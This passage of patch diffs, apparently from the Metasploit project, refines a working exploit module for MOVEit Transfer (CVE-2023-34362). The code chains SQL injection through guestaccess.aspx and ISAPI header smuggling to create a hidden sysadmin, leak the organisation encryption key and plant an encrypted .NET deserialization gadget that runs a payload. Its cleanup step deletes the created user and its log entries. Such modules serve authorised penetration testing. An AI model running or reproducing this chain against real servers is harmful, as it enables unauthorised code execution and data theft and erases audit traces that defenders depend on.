fail_with(Msf::Exploit::Failure::Unknown, "Couldn't post API files #1 (#{files_response.body})") if res.code != 200 - files_json = JSON.parse(res.body) + files_json = res.get_json_document vprint_status("Initiated resumable file upload for fileId '#{files_json['fileId']}'...") files_json end @@ -143,7 +141,7 @@ def cleanup_user(files_json) "DELETE FROM moveittransfer.log WHERE Username='#{hax_loginname}'", # The API logs by loginname "DELETE FROM moveittransfer.log WHERE Username='Guest:#{@guest_email_addr}'", # The SQLi generates a guest log entry. ] - sqli(@cookies, sqli_payload(deleteuser_payload)) + sqli(sqli_payload(deleteuser_payload)) end def create_sysadmin @@ -159,14 +157,14 @@ def create_sysadmin "UPDATE moveittransfer.users SET Permission='40' WHERE Username='#{hax_username}'", "UPDATE moveittransfer.users SET CreateStamp=NOW() WHERE Username='#{hax_username}'", ] - res = sqli(@cookies, sqli_payload(createuser_payload)) + res = sqli(sqli_payload(createuser_payload)) fail_with(Msf::Exploit::Failure::Unknown, "Couldn't perform initial SQLi (#{res.body})") if res.code != 200 end def encrypt_deserialization_gadget(gadget, org_key) - org_key.gsub!(' ', '') - org_key = [org_key].pack('H*').bytes.to_a.pack('C*') + org_key = org_key.gsub(' ', '') + org_key = [org_key].pack('H*').bytes.pack('C*') deserialization_gadget = moveitv2encrypt(gadget, org_key) deserialization_gadget end @@ -181,7 +179,7 @@ def find_folder_id(token_json) 'Authorization' => "Bearer #{token_json['access_token']}" } }) - fail_with(Msf::Exploit::Failure::Unknown, "Couldn't get API folders (#{folders_response.body})") if folders_response.code != 200 + fail_with(Msf::Exploit::Failure::Unknown, "Couldn't get API folders (#{folders_response.body})") if folders_response.nil? || folders_response.code != 200 folders_json = JSON.parse(folders_response.body) vprint_status("Found folderId '#{folders_json['items'][0]['id']}'.") folders_json @@ -192,26 +190,26 @@ def get_csrf_token(res) ::Regexp.last_match(1) end - def guestaccess_request(_cookies, body) + def guestaccess_request(body) res = send_request_cgi({ 'method' => 'POST', + 'keep_cookies' => true, 'uri' => normalize_uri('guestaccess.aspx'), 'connection' => 'close', 'accept' => '*/*', - 'cookie' => @cookies, 'vars_post' => body }) res end # Perform a request to the ISAPI endpoint with an arbitrary transaction - def isapi_request(cookies, transaction, headers) + def isapi_request(transaction, headers) send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri('moveitisapi/moveitisapi.dll?action=m2'), + 'keep_cookies' => true, 'connection' => 'close', 'accept' => '*/*', - 'cookie' => cookies, 'headers' => { 'X-siLock-Test': 'abcdX-SILOCK-Transaction: folder_add_by_path', 'X-siLock-Transaction': transaction @@ -225,7 +223,7 @@ def leak_encryption_key(token_json, files_json) "UPDATE moveittransfer.files SET UploadAgentBrand=(SELECT PairValue FROM moveittransfer.registryaudit WHERE PairName='Key' AND CHAR_LENGTH(KeyName)=#{'Standard Networks\siLock\Institutions\0'.length}) WHERE ID='#{files_json['fileId']}'" ] - sqli(@cookies, sqli_payload(haxleak_payload)) + sqli(sqli_payload(haxleak_payload)) leak_response = send_request_cgi({ 'method' => 'GET', @@ -237,7 +235,7 @@ def leak_encryption_key(token_json, files_json) } }) - fail_with(Msf::Exploit::Failure::Unknown, "Couldn't post API files #LEAK (#{leak_response.body})") if leak_response.code != 200 + fail_with(Msf::Exploit::Failure::Unknown, "Couldn't post API files #LEAK (#{leak_response.body})") if leak_response.nil? || leak_response.code != 200 leak_json = JSON.parse(leak_response.body) org_key = leak_json['uploadAgentBrand'] vprint_status("Leaked the Org Key: #{org_key}") @@ -312,18 +310,19 @@ def populate_token_instid begin res = send_request_cgi({ 'method' => 'GET', + 'keep_cookies' => true, 'connection' => 'keep-alive', 'accept' => '*/*' }) - @cookies = res.get_cookies + cookies = res.get_cookies # Get the session id from the cookies - fail_with(Msf::Exploit::Failure::Unknown, 'Could not find token from cookies!') unless @cookies =~ /ASP.NET_SessionId=([a-z0-9]+);/ + fail_with(Msf::Exploit::Failure::Unknown, 'Could not find token from cookies!') unless cookies =~ /ASP.NET_SessionId=([a-z0-9]+);/ @moveit_token = ::Regexp.last_match(1) vprint_status("@moveit_token = #{@moveit_token}") # Get the InstID from the cookies - fail_with(Msf::Exploit::Failure::Unknown, 'Could not find InstID from cookies!') unless @cookies =~ /siLockLongTermInstID=([0-9]+);/ + fail_with(Msf::Exploit::Failure::Unknown, 'Could not find InstID from cookies!') unless cookies =~ /siLockLongTermInstID=([0-9]+);/ @moveit_instid = ::Regexp.last_match(1) vprint_status("@moveit_instid = #{@moveit_instid}") end @@ -351,22 +350,22 @@ def request_api_token token_json end - def set_session(token, session_hash) + def set_session(session_hash) session_vars = {} session_index = 0 session_hash.each_pair do |k, v| - session_vars.store("X-siLock-SessVar#{session_index}", "#{k}: #{v}") + session_vars["X-siLock-SessVar#{session_index}"] = "#{k}: #{v}" session_index += 1 end - isapi_request(token, 'session_setvars', session_vars) + isapi_request('session_setvars', session_vars) end - def sqli(cookies, sql_payload) + def sqli(sql_payload) # Set up a fake package in the session. The order here is important. We set these session # variables one per request, so first set the package information, then switch over to a # 'Guest' username to allow the CSRF/injection to work as expected. If we don't do this # order the session will be cleared and the injection will not work. - set_session(cookies, { + set_session({ 'MyPkgAccessCode' => 'accesscode', # Must match the final request Arg06 'MyPkgID' => '0', # Is self provisioned? (must be 0) 'MyGuestEmailAddr' => @guest_email_addr, # Must be a valid email address @ MOVEit.DMZ.ClassLib.dll/MOVEit.DMZ.ClassLib/MsgEngine.cs @@ -383,7 +382,7 @@ def sqli(cookies, sql_payload) # Arg12 => promptaccesscode requests a form, which contains a CSRF code body = { 'Transaction' => 'dummy', 'Arg06' => 'accesscode', 'Arg12' => 'promptaccesscode' } - csrf = get_csrf_token(guestaccess_request(cookies, body)) + csrf = get_csrf_token(guestaccess_request(body)) # This does the actual injection body = { @@ -395,7 +394,7 @@ def sqli(cookies, sql_payload) 'Arg09' => 'pkgtest9', 'csrftoken' => csrf } - guestaccess_request(cookies, body) + guestaccess_request(body) end def sqli_payload(sql_payload) @@ -434,34 +433,34 @@ def upload_encrypted_gadget(encrypted_gadget, files_json) "UPDATE moveittransfer.fileuploadinfo SET State='#{encrypted_gadget}' WHERE FileID='#{files_json['fileId']}'", ] vprint_status('Planting encrypted gadget into the DB...') - sqli(@cookies, sqli_payload(haxupload_payload)) + sqli(sqli_payload(haxupload_payload)) end def exploit # Get the sessionID and siLockLongTermInstID - print_status('[1/11] Get the sessionID and siLockLongTermInstID') + print_status('[01/11] Get the sessionID and siLockLongTermInstID') populate_token_instid # Allow Remote Access and Create new sysAd - print_status('[2/11] Create New Sysadmin') + print_status('[02/11] Create New Sysadmin') create_sysadmin - print_status('[3/11] Get API Token') + print_status('[03/11] Get API Token') token_json = request_api_token - print_status('[4/11] Get Folder ID') + print_status('[04/11] Get Folder ID') folders_json = find_folder_id(token_json) - print_status('[5/11] Begin File Upload') + print_status('[05/11] Begin File Upload') files_json = begin_file_upload(folders_json, token_json) - print_status('[6/11] Leak Encryption Key') + print_status('[06/11] Leak Encryption Key') org_key = leak_encryption_key(token_json, files_json) - print_status('[7/11] Generate Gadget') + print_status('[07/11] Generate Gadget') gadget = ::Msf::Util::DotNetDeserialization.generate( payload.encoded, gadget_chain: :TextFormattingRunProperties, formatter: :BinaryFormatter ) - print_status('[8/11] Encrypt Gadget') + print_status('[08/11] Encrypt Gadget') b64_gadget = Rex::Text.encode_base64(gadget) encrypted_gadget = encrypt_deserialization_gadget(b64_gadget, org_key) - print_status('[9/11] Upload Encrypted Gadget') + print_status('[09/11] Upload Encrypted Gadget') upload_encrypted_gadget(encrypted_gadget, files_json) print_status('[10/11] Trigger Gadget') trigger_deserialization(token_json, files_json, folders_json) From a05bde217cdc7311fcb9ecc7c4c4386e060f2235 Mon Sep 17 00:00:00 2001 From: bwatters Date: Thu, 22 Jun 2023 12:18:07 -0500 Subject: [PATCH 11/12] Ensure any users we create are deleted --- .../windows/http/moveit_cve_2023_34362.rb | 41 ++++++++++++------- 1 file changed, 26 insertions(+), 15 deletions(-) diff --git a/modules/exploits/windows/http/moveit_cve_2023_34362.rb b/modules/exploits/windows/http/moveit_cve_2023_34362.rb index 43f9e4cede5e..f48e0d77a1b2 100644 --- a/modules/exploits/windows/http/moveit_cve_2023_34362.rb +++ b/modules/exploits/windows/http/moveit_cve_2023_34362.rb @@ -72,16 +72,16 @@ def initialize(info = {}) @uploadfile_name = Rex::Text.rand_text_alphanumeric(8..15) @uploadfile_size = rand(5..64) @uploadfile_data = Rex::Text.rand_text_alphanumeric(@uploadfile_size) + @user_added = false + @files_json = nil end def begin_file_upload(folders_json, token_json) boundary = rand_text_numeric(27) - data = "--#{boundary}\r\n" - data << 'Content-Disposition: form-data;' - data << "name=\"name\"\r\n\r\n#{@uploadfile_name}\r\n--#{boundary}\r\n" - data << "Content-Disposition: form-data; name=\"size\"\r\n\r\n#{@uploadfile_size}\r\n--#{boundary}\r\n" - data << "Content-Disposition: form-data; name=\"comments\"\r\n\r\n\r\n--#{boundary}--\r\n" - + post_data = "--#{boundary}\r\n" + post_data << "Content-Disposition: form-data; name=\"name\"\r\n\r\n#{@uploadfile_name}\r\n--#{boundary}\r\n" + post_data << "Content-Disposition: form-data; name=\"size\"\r\n\r\n#{@uploadfile_size}\r\n--#{boundary}\r\n" + post_data << "Content-Disposition: form-data; name=\"comments\"\r\n\r\n\r\n--#{boundary}--\r\n" res = send_request_raw({ 'method' => 'POST', 'uri' => normalize_uri("/api/v1/folders/#{folders_json['items'][0]['id']}/files?uploadType=resumable"), @@ -91,10 +91,10 @@ def begin_file_upload(folders_json, token_json) }, 'connection' => 'close', 'accept' => '*/*', - 'data' => data + 'data' => post_data.to_s }) - fail_with(Msf::Exploit::Failure::Unknown, "Couldn't post API files #1 (#{files_response.body})") if res.code != 200 + fail_with(Msf::Exploit::Failure::Unknown, "Couldn't post API files #1 (#{files_response.body})") if res.nil? || res.code != 200 files_json = res.get_json_document vprint_status("Initiated resumable file upload for fileId '#{files_json['fileId']}'...") @@ -129,7 +129,13 @@ def check return Exploit::CheckCode::Unknown end + def cleanup + cleanup_user(@files_json) if @user_added + super + end + def cleanup_user(files_json) + vprint_status('cleaning up user') hax_username = datastore['USERNAME'] hax_loginname = datastore['LOGIN_NAME'] deleteuser_payload = [ @@ -141,7 +147,11 @@ def cleanup_user(files_json) "DELETE FROM moveittransfer.log WHERE Username='#{hax_loginname}'", # The API logs by loginname "DELETE FROM moveittransfer.log WHERE Username='Guest:#{@guest_email_addr}'", # The SQLi generates a guest log entry. ] - sqli(sqli_payload(deleteuser_payload)) + if @user_added + vprint_status("Deleting user #{hax_username}") + sqli(sqli_payload(deleteuser_payload)) + @user_added = false + end end def create_sysadmin @@ -160,6 +170,7 @@ def create_sysadmin res = sqli(sqli_payload(createuser_payload)) fail_with(Msf::Exploit::Failure::Unknown, "Couldn't perform initial SQLi (#{res.body})") if res.code != 200 + @user_added = true end def encrypt_deserialization_gadget(gadget, org_key) @@ -421,7 +432,7 @@ def trigger_deserialization(token_json, files_json, folders_json) 'Content-Range' => "bytes 0-#{@uploadfile_size - 1}/#{@uploadfile_size}", 'X-File-Hash' => Digest::SHA1.hexdigest(@uploadfile_data) }, - 'data' => @uploadfile_data[0, @uploadfile_data.length] + 'data' => @uploadfile_data }) # 500 if payload runs :) @@ -448,9 +459,9 @@ def exploit print_status('[04/11] Get Folder ID') folders_json = find_folder_id(token_json) print_status('[05/11] Begin File Upload') - files_json = begin_file_upload(folders_json, token_json) + @files_json = begin_file_upload(folders_json, token_json) print_status('[06/11] Leak Encryption Key') - org_key = leak_encryption_key(token_json, files_json) + org_key = leak_encryption_key(token_json, @files_json) print_status('[07/11] Generate Gadget') gadget = ::Msf::Util::DotNetDeserialization.generate( payload.encoded, @@ -461,10 +472,10 @@ def exploit b64_gadget = Rex::Text.encode_base64(gadget) encrypted_gadget = encrypt_deserialization_gadget(b64_gadget, org_key) print_status('[09/11] Upload Encrypted Gadget') - upload_encrypted_gadget(encrypted_gadget, files_json) + upload_encrypted_gadget(encrypted_gadget, @files_json) print_status('[10/11] Trigger Gadget') - trigger_deserialization(token_json, files_json, folders_json) + trigger_deserialization(token_json, @files_json, folders_json) print_status('[11/11] Cleaning Up') - cleanup_user(files_json) + cleanup_user(@files_json) end end From dfd450561e7314523711094c3a10df3607de43c0 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 22 Jun 2023 14:23:25 -0400 Subject: [PATCH 12/12] Tweak some messages and cleanup markdown table --- .../windows/http/moveit_cve_2023_34362.md | 16 ++++++++-------- .../windows/http/moveit_cve_2023_34362.rb | 5 ++--- 2 files changed, 10 insertions(+), 11 deletions(-) diff --git a/documentation/modules/exploit/windows/http/moveit_cve_2023_34362.md b/documentation/modules/exploit/windows/http/moveit_cve_2023_34362.md index bd6903b0ce0f..c1d1a2d9152a 100644 --- a/documentation/modules/exploit/windows/http/moveit_cve_2023_34362.md +++ b/documentation/modules/exploit/windows/http/moveit_cve_2023_34362.md @@ -7,14 +7,14 @@ attacker can leverage an information leak be able to upload a .NET deserializati ## Vulnerable Applications MOVEit Transfer versions: -| Starting Version | Patched Version | -------------------|-----------------| -| 2023.0.0 |2023.0.3 (15.0.3)| -| 2022.1.x | 2022.1.7 (14.1.7)| -| 2022.0.x | 2022.0.6 (14.0.6)| -| 2021.1.x | 2021.1.6 (13.1.6)| -| 2021.0.x | 2021.0.8 (13.0.8) | -|2020.1.x | 2020.1.10 (12.1.10) | +| Starting Version | Patched Version | +|------------------|---------------------| +| 2023.0.0 | 2023.0.3 (15.0.3) | +| 2022.1.x | 2022.1.7 (14.1.7) | +| 2022.0.x | 2022.0.6 (14.0.6) | +| 2021.1.x | 2021.1.6 (13.1.6) | +| 2021.0.x | 2021.0.8 (13.0.8) | +| 2020.1.x | 2020.1.10 (12.1.10) | # Installation Instructions 1. Installation requires a valid trial license that can be obtained by going here: diff --git a/modules/exploits/windows/http/moveit_cve_2023_34362.rb b/modules/exploits/windows/http/moveit_cve_2023_34362.rb index f48e0d77a1b2..09c8c079ea0f 100644 --- a/modules/exploits/windows/http/moveit_cve_2023_34362.rb +++ b/modules/exploits/windows/http/moveit_cve_2023_34362.rb @@ -135,7 +135,6 @@ def cleanup end def cleanup_user(files_json) - vprint_status('cleaning up user') hax_username = datastore['USERNAME'] hax_loginname = datastore['LOGIN_NAME'] deleteuser_payload = [ @@ -330,12 +329,12 @@ def populate_token_instid # Get the session id from the cookies fail_with(Msf::Exploit::Failure::Unknown, 'Could not find token from cookies!') unless cookies =~ /ASP.NET_SessionId=([a-z0-9]+);/ @moveit_token = ::Regexp.last_match(1) - vprint_status("@moveit_token = #{@moveit_token}") + vprint_status("Received ASP.NET_SessionId cookie: #{@moveit_token}") # Get the InstID from the cookies fail_with(Msf::Exploit::Failure::Unknown, 'Could not find InstID from cookies!') unless cookies =~ /siLockLongTermInstID=([0-9]+);/ @moveit_instid = ::Regexp.last_match(1) - vprint_status("@moveit_instid = #{@moveit_instid}") + vprint_status("Received siLockLongTermInstID cookie: #{@moveit_instid}") end true end